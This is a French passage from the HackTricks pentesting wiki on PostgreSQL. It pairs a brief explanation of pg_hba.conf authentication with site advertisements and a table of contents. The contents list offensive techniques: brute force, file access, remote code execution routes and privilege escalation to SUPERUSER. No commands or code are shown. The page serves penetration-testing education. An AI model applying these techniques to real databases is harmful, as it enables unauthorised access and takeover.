L'authentification client dans PostgreSQL est gérée via un fichier de configuration appelé pg_hba.conf. Ce fichier contient une série d'enregistrements, spécifiant chacun un type de connexion, une plage d'adresses IP client (si applicable), le nom de la base de données, le nom d'utilisateur, et la méthode d'authentification à utiliser pour les connexions correspondantes. Le premier enregistrement qui correspond au type de connexion, à l'adresse du client, à la base de données demandée et au nom d'utilisateur est utilisé pour l'authentification. Il n'y a pas de solution de secours si l'authentification échoue. Si aucun enregistrement ne correspond, l'accès est refusé.

Les méthodes d'authentification basées sur mot de passe disponibles dans pg_hba.conf sont md5, crypt, et password. Ces méthodes diffèrent dans la manière dont le mot de passe est transmis : en hachage MD5, crypté en crypt, ou en texte clair. Il est important de noter que la méthode crypt ne peut pas être utilisée avec des mots de passe qui ont été cryptés dans pg_authid.

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
Obtenez le swag officiel PEASS & HackTricks
Découvrez La famille PEASS, notre collection exclusive de NFTs
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @carlospolopm.
Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.

Utilisez Trickest pour construire et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}

42 KiB Raw Blame History

5432,5433 - Pentesting Postgresql

Informations de base

Connexion & Énumération de base

Énumération automatique

Brute force

Balayage de ports

Brute Forcing

Exploitation

Tables

Fonctions

Actions sur le système de fichiers

Lire les répertoires et les fichiers

Écriture de fichiers simple

Téléchargement de fichiers binaires

Mise à jour des données de table PostgreSQL via l'écriture de fichiers locaux

RCE

RCE vers un programme

RCE avec les langages PostgreSQL

RCE avec les extensions PostgreSQL

RCE avec le fichier de configuration PostgreSQL

RCE avec ssl_passphrase_command

RCE avec archive_command

RCE avec les bibliothèques de préchargement

Élévation de privilèges Postgres

Élévation de privilèges CREATEROLE

Accorder

Modifier le mot de passe

Élévation de privilèges vers SUPERUSER

ALTER TABLE élévation de privilèges

Exploitation

Connexion Locale

Fonction définie personnalisée avec SECURITY DEFINER

Contourner la force brute avec PL/pgSQL

Élévation de privilèges en écrasant les tables internes de PostgreSQL

POST

journalisation

pgadmin

pg_hba

42 KiB

Raw Blame History